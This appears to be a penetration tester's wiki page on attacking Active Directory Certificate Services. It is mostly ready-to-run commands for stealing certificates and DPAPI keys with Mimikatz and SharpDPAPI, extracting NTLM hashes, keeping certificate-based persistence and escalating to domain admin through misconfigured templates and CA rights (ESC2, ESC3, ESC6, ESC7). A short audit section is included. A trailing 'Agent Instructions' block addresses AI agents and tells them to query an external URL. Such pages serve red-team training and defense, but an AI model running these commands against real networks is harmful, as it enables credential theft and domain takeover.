# AD CS Abuse

* [\[PDF\] Certified Pre-Owned. Abusing Active Directory Certificate Services (Will Schroeder, Lee Christensen)](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)
* <https://posts.specterops.io/certified-pre-owned-d95910965cd2>
* <https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d>
* <https://elkement.wordpress.com/2019/06/01/sizzle-hackthebox-unintended-getting-a-logon-smartcard-for-the-domain-admin-2/>
* <https://http418infosec.com/ad-cs-the-certified-pre-owned-attacks>
* <https://www.fortalicesolutions.com/posts/pkinit-ftw-chaining-shadow-credentials-and-adcs-template-abuse>
* <https://research.ifcr.dk/certipy-2-0-bloodhound-new-escalations-shadow-credentials-golden-certificates-and-more-34d1c26f0dc6>
* <https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-certificate-services>
* <https://rayrt.gitlab.io/posts/Active-Directory-Certificate-Services-Abuse/>
* <https://luemmelsec.github.io/Skidaddle-Skideldi-I-just-pwnd-your-PKI/>
* <https://xakep.ru/2022/10/14/active-directory-privesc/>
* <https://sensepost.com/blog/2022/certpotato-using-adcs-to-privesc-from-virtual-and-network-service-accounts-to-local-system/>
* <https://cicada-8.medium.com/adcs-so-u-got-certificate-now-ive-got-nine-ways-to-abuse-it-861081cff082>
* <https://habr.com/ru/companies/pt/articles/916888/>
* <https://xbz0n.sh/blog/adcs-complete-attack-reference>

{% embed url="<https://docs.google.com/spreadsheets/u/0/d/1E5SDC5cwXWz36rPP_TXhhAvTvqz2RGnMYXieu4ZHx64/htmlview?pli=1#gid=0>" %}

{% embed url="<https://twitter.com/_nwodtuhs/status/1451510341041594377>" %}

{% hint style="warning" %}
This page is a selective copy-paste of the Certified Pre-Owned [PDF](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) (mainly offensive techniques) without testing "in the wild"! When any of the discussed techniques is actually performed by me during an engagement, corresponding notes are get reviewed, supplemented with examples from my personal experience and put into a separate section, e. g. [ESC1](/pentest/infrastructure/ad/ad-cs-abuse/esc1.md), [ESC8](/pentest/infrastructure/ad/ad-cs-abuse/esc8.md), etc.
{% endhint %}

## Glossary

* **AD CS** 👉🏻 Active Directory Certificate Services
* **CA** 👉🏻 Certification Authority
* **EKU** 👉🏻 Extended Key Usage
* **SAN** 👉🏻 Subject Alternative Name (subjectAltName)
* **CSR** 👉🏻 Certificate Signing Request
* **CES** 👉🏻 Certificate Enrollment Web Service
* **CAPI** 👉🏻 CryptoAPI
* **CNG** 👉🏻 Cryptography API: Next Generation

EKU OIDs that can enable certificate authentication:

| Description                  | OID                      |
| ---------------------------- | ------------------------ |
| Client Authentication        | `1.3.6.1.5.5.7.3.2`      |
| PKINIT Client Authentication | `1.3.6.1.5.2.3.4`        |
| Smart Card Logon             | `1.3.6.1.4.1.311.20.2.2` |
| Any Purpose EKU              | `2.5.29.37.0`            |
| Subordinate CA certificate   | No EKU set               |

## Enumerate

Enumerate AD Enterprise CAs and their settings with PowerShell:

```
PS > $CAs = Get-ADObject -LDAPFilter '(objectCategory=pKIEnrollmentService)' -SearchBase "CN=Configuration,DC=megacorp,DC=local"
PS > $CAs
```

Enumerate AD Enterprise CAs with CME:

```
PS > cme ldap 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -M adcs
```

Get list of certificate template names:

```
PS > $CATemplateNames = Get-ADObject $CAs[0].DistinguishedName -Properties certificatetemplates | Select-Object -ExpandProperty certificatetemplates
PS > $CATemplateNames
Or
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(objectCategory=pKIEnrollmentService)' --base 'CN=Configuration,DC=megacorp,DC=local' --attrs dn,dnshostname
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(distinguishedName=CN=CorpCA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=megacorp,DC=local)' --base 'CN=Configuration,DC=megacorp,DC=local' --attrs certificateTemplates
Or (from a BH dump)
$ cat 19700101000000_templates.json | grep -oP '"name":\s*"\K[^@]*' > templates.txt
```

Enumerate AD Enterprise CAs with certutil from a domain-joined machine:

```
Cmd > certutil.exe -config - -ping
Cmd > certutil.exe -TCAInfo [-v]
```

Look for artefacts in RPC dumps like [adcshunter](https://github.com/danti1988/adcshunter) does:

```
$ rpcdump.py <IP> | grep certsrv.exe
```

Enumerate CAs and templates with [powerview.py](https://github.com/aniqfakhrul/powerview.py):

```
PS > Get-CA [-Domain megacorp.local] -CheckWebEnrollment [-NoWrap] -OutFile cas_megacorp.local.txt
PS > Get-CATemplate [-Domain megacorp.local] -Enabled -ResolveSIDs [-Vulnerable] [-NoWrap] -OutFile certs_megacorp.local.txt
```

## Hunt for Certificates

### Export Certificates (THEFT1)

Export a certificate from user's context.

With certmgr:

* Run → `certmgr.msc` → Action → All Tasks → Export ...

With PowerShell:

```
PS > Export-PfxCertificate -Password (Read-Host -AsSecureString -Prompt 'Password') -Cert (Get-Item -Path Cert:\LocalMachine\My\<CERT_THUMBPRINT>) -FilePath cert.pfx -Verbose
```

With [CertStealer](https://github.com/TheWover/CertStealer):

```
Cmd > .\CertStealer.exe -export pfx <CERT_THUMBPRINT>
```

If the private key is non-exportable, use Mimikatz's `crypto::capi` (to patch CAPI in current process) or `crypto::cng` (to patch `lsass.exe` memory):

```
Cmd > .\mimikatz.exe "crypto::capi" "crypto::certificates /export" "exit"
```

### DPAPI User Keys (THEFT2)

Decrypt a domain user's masterkey with domain's backup key with Mimikatz:

```
Cmd > .\mimikatz.exe "dpapi::masterkey /in:C:\path\to\masterkey /rpc" "exit"
```

Decrypt masterkey if user's plaintext password is known with Mimikatz:

```
Cmd > .\mimikatz.exe "dpapi::masterkey /in:C:\path\to\masterkey /sid:<ACCOUNT_SID> /password:Passw0rd!" "exit"
```

Simplify the process with SharpDPAPI providing it a file with one or more `{GUID}:SHA1` masterkey mappings (will output a `.pem` file):

```
Cmd > .\SharpDPAPI.exe certificates /mkfile:C:\Temp\mkeys.txt
```

### DPAPI Machine Keys (THEFT3)

It's not possible to decrypt machine keys using the domain's DPAPI backup key, so the adversary can use the `DPAPI_SYSTEM` LSA secret on the system which is accessible only by the SYSTEM user:

```
# While elevated
Cmd > .\SharpDPAPI.exe certificates /machine
```

After converting the output to `.pfx` and if the appropriate EKU scenario is present, the adversary can use that `.pfx` for domain authentication *as the computer account* (see **PERSIST2**).

### Search for Certificate Files (THEFT4)

Find certificate files lying around with Seatbelt:

```
Cmd > .\Seatbelt.exe "dir C:\ 10 \.(pfx|pem|p12)`$ false"
Cmd > .\Seatbelt.exe InterestingFiles
```

Some other certificate-related file extensions:

| File Extension             | Description                                                               |
| -------------------------- | ------------------------------------------------------------------------- |
| `.key`                     | The private key.                                                          |
| `.crt`/`.cer`              | The certificate.                                                          |
| `.csr`                     | Signing request file. Does not contain certificates or keys.              |
| `.jks`/`.keystore`/`.keys` | Java Keystore. May contain certificates + private keys used by Java apps. |

List EKUs for a certificate with PowerShell:

```
PS > $CertPath = "C:\Users\snovvcrash\cert.pfx"
PS > $CertPass = "Passw0rd!"
PS > $Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass)
PS > $Cert.EnhancedKeyUsageList
```

Parse `.pfx` with certutil:

```
Cmd > certutil.exe -dump -v cert.pfx
```

Correlate a certificate with a CA thumbprint on the host and in AD:

```
# Get cert's thumbprint
PS > $CertPath = "C:\Users\snovvcrash\cert.p12"
PS > $CertPass = "Passw0rd!"
PS > $Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass)
PS > $Cert.Thumbprint

# Match it with CA certs' thumbprints trusted by the current host
Cmd > .\Seatbelt.exe -q CertificateThumbprints

# Match it with CA certs' thumbprints from AD
Cmd > .\Certify.exe find /quiet
```

## Steal NTLM via PKINIT (THEFT5)

Request NTLM hash when the account is authenticated with a TGT through PKINIT with Kekeo:

```
Cmd > .\kekeo.exe "tgt::pac /caname:CorpCA /domain:megacorp.local /subject:snovvcrash /castore:current_user" "exit"
```

## Persistence via Certificates

### User Persistence (PERSIST1)

Find certificate templates available for enrollment for the current user:

```
Cmd > .\Certify.exe find /clientauth
```

Search for any template that allows domain authentication (a stock published template that allows client authentication is the `User` template).

Request a new certificate for enrolling current user context:

```
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:User
```

This will output a certificate and private key in `.pem`. To convert it to `.pfx` compatible with Rubeus do:

```
$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```

After that an adversary can upload it to target and use Rubeus to request a valid TGT, for as long as the certificate is valid (default certificate lifetime is one year):

```
Cmd > .\Rubeus.exe asktgt /user:snovvcrash /certificate:C:\Temp\cert.pfx /password:Passw0rd!
```

This approach will work *even if the user changes their password*. Combined with the **THEFT5** technique, an adversary can also persistently obtain the account's NTLM hash.

### Machine Persistence (PERSIST2)

Same as for **PERSIST1** but requesting a certificate for enrolling current machine context:

```
# While elevated
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:Machine /machine
```

With access to a machine account certificate an adversary can use S4U2Self to obtain a Kerberos ticket to any service on the host (see [RBCD Abuse](https://github.com/snovvcrash/PPN/blob/master/pentest/infrastructure/ad/delegation-abuse/README.md#resource-based-constrained-delegation-rbcd)) or generate a silver ticket.

### Certificate Renewal

* Certificate template **validity period** - determines how long an issued certificate can be used.
* Certificate template **renewal period** - determines a window of time *before the certificate expires* where an account can renew it from the issuing certificate authority.

An adversary can renew the compromised certificate before the validity period expires, and so that extend their access to AD without requesting additional ticket enrollments.

## Domain Escalation via Certificates

### Modifiable SAN + Any Purpose EKU (ESC2)

Condition: the vulnerable certificate template allows requesters to specify a SAN in the CSR as well as allows Any Purpose EKU (`2.5.29.37.0`).

Find template with this misconfiguration:

```
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
```

Request a certificate specifying the `/altname` as a domain admin like in **ESC1**.

### Agent Certificate + Enroll on Behalf of Another User (ESC3)

Conditions:

1. A template allows a low-privileged user to use an enrollment agent certificate.
2. Another template allows a low privileged user to use the enrollment agent certificate to request a certificate on behalf of another user, and the template defines an EKU that allows for domain authentication.

1\. Request an enrollment agent certificate:

```
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:Vuln-EnrollAgentTemplate
```

2\. Request a certificate on behalf of another user based on a template that allows domain authentication:

```
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:User /onbehalfon:MEGACORP\ITAdmin /enrollcert:enrollmentAgentCert.pfx /enrollcertpw:Passw0rd!
```

### Vulnerable PKI Object ACEs (ESC5)

* <https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c>

### EDITF\_ATTRIBUTESUBJECTALTNAME2 (ESC6)

> If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.

This means that an adversary can enroll in **any** template configured for domain authentication that also allows unprivileged users to enroll (e. g., the default `User` template) and obtain a certificate that allows to authenticate as a domain admin or any other active user/machine.

Discover with certutil:

```
Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -getreg "policy\EditFlags"
Or
Cmd > reg.exe query \\CA01.megacorp.local\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CorpCA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
```

Discover with Certify:

```
Cmd > .\Certify.exe find
```

To abuse request a certificate specifying an `/altname` with any template that allows for domain auth (e. g., the default `User` template which normally doesn't allow to specify alternative names):

```
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:User /altname:DomAdmin
```

This setting can be set with domain admin's privileges like this (*dangerous, do not do this!*):

```
Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -setreg "policy\EditFlags" +EDITF_ATTRIBUTESUBJECTALTNAME2
```

Remove this setting:

```
Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2
```

### Vulnerable CA ACEs (ESC7)

Enumarate CA ACEs with Powershell [PSPKI](https://github.com/PKISolutions/PSPKI):

```
PS > Install-Module -Name PSPKI
PS > Import-Module PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA01.megacorp.local | Get-CertificationAuthorityAcl | select -ExpandProperty access
```

`ManageCA` and `ManageCertificates` rights translate to the "CA Administrator" and "Certificate Manager" ("CA Officer") respectively.

The "CA Administrator" role allows to set the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag (see **ESC6**):

```
# Check before setting the flag
Cmd > hostname
DC01
Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -getreg "policy\EditFlags"

# Invoke SetConfigEntry
PS > "$(hostname) : $(whoami)"
WS01 : megacorp\CertAdmin
PSPKI > $configReader = New-Object SysadminsLV.PKI.Dcom.Implementation.CertSrvRegManagerD "CA01.megacorp.local"
PSPKI > $configReader.SetRootNode($true)
PSPKI > $configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
1114446
PSPKI > $configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")

# Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)
Cmd > hostname
DC01
Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -getreg "policy\EditFlags"
```

The "Certificate Manager" role allows to remotely approve pending certificate requests which can by used by an adversary to subvert the "CA certificate manager approval" protection:

```
# Request a certificate that requires manager approval with Certify
PS > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:ApprovalNeeded
...
[*] Request ID : 1337

# Approve a pending request with PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA01.megacorp.local | Get-PendingRequest -RequestID 1337 | Approve-CertificateRequest

# Download the issued certificate with Certify
PS > .\Certify.exe download /ca:CA01.megacorp.local\CorpCA /id:1337
```

### OID Group Link Abuse (ESC13)

* <https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53>
* <https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1>

## Audit

* <https://github.com/GhostPack/PSPKIAudit>
* <https://github.com/TrimarcJake/adcs-snippets>

```
PS > Get-WindowsCapability -Online -Name "Rsat.*" | where Name -match "CertificateServices|ActiveDIrectory" | Add-WindowsCapability -Online
PS > cd PSPKIAudit
PS > Get-ChildItem -Recurse | Unblock-File
PS > Import-Module .\PSPKIAudit.psm1
PS > Invoke-PKIAudit -CAComputerName CA01.megacorp.local
```

## Misc

Parse `.pfx` with PowerShell:

```
PS > $cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]([System.Convert]::FromBase64String("<BASE64_PFX_CERT>"))
PS > $cert | select *
```

Generate a self-signed certificate to test a web app for misconfigured cert-based authentication:

```bash
openssl genrsa -aes256 -passout pass:qwer -out ca.pass.key 2048
openssl rsa -passin pass:qwer -in ca.pass.key -out ca.key
openssl req -new -x509 -days 365 -key ca.key -out ca.pem -subj '/C=LOCAL/O=MEGACORP/CN=Corp CA'
openssl genrsa -aes256 -passout pass:qwer -out client.pass.key 2048
openssl rsa -passin pass:qwer -in client.pass.key -out client.key
openssl req -new -key client.key -out client.csr -subj '/emailAddress=mail@megacorp.com/CN=j.doe/O=MEGACORP/C=LOCAL'
openssl x509 -req -days 365 -in client.csr -CA ca.pem -CAkey ca.key -CAcreateserial -extfile <(printf 'extendedKeyUsage=1.3.6.1.5.5.8.2.2,clientAuth') -out client.pem
cat client.key client.pem ca.pem > client.full.pem
openssl pkcs12 -export -passout pass:qwer -inkey client.key -in client.full.pem -out cert.p12
```

## Tools

### Certify

* <https://github.com/GhostPack/Certify>
* <https://github.com/blackarrowsec/Certify>
* <https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-Certify.ps1>

Search for vulnerable certificate templates:

```
Cmd > .\Certify.exe find /vulnerable
```

### Certipy

* <https://github.com/ly4k/Certipy>
* <https://github.com/zimedev/certipy-merged>

Install:

```
pip install pipx
pipx install -f "git+https://github.com/ly4k/Certipy.git"
pipx inject certipy-ad "git+https://github.com/ThePirateWhoSmellsOfSunflowers/ldap3.git@tls_cb_and_seal_for_ntlm"
```

Get TGT automatically and list CAs, servers and search for vulnerable certificate templates (output in text, JSON and BloodHound formats):

```
$ certipy find -u snovvcrash@megacorp.local -p 'Passw0rd!' -target DC01.megacorp.local -ns 192.168.1.11 -dc-ip 192.168.1.11 [-dc-only] [-text] [-dns-tcp]
```

### certi

* <https://github.com/zer1t0/certi>

Get TGT:

```
$ getTGT.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local -dc-ip 192.168.1.11
```

List CAs and servers (short):

```
$ certi.py list megacorp.local/snovvcrash -k -n --dc-ip 192.168.1.11 --class service
```

List CAs (verbose):

```
$ certi.py list megacorp.local/snovvcrash -k -n --dc-ip 192.168.1.11 --class ca
```

Search for vulnerable certificate templates:

```
$ certi.py list megacorp.local/snovvcrash -k -n --dc-ip 192.168.1.11 --vuln --enable
```

### ADCSKiller

* <https://github.com/grimlockx/ADCSKiller>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ppn.snovvcra.sh/pentest/infrastructure/ad/ad-cs-abuse.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
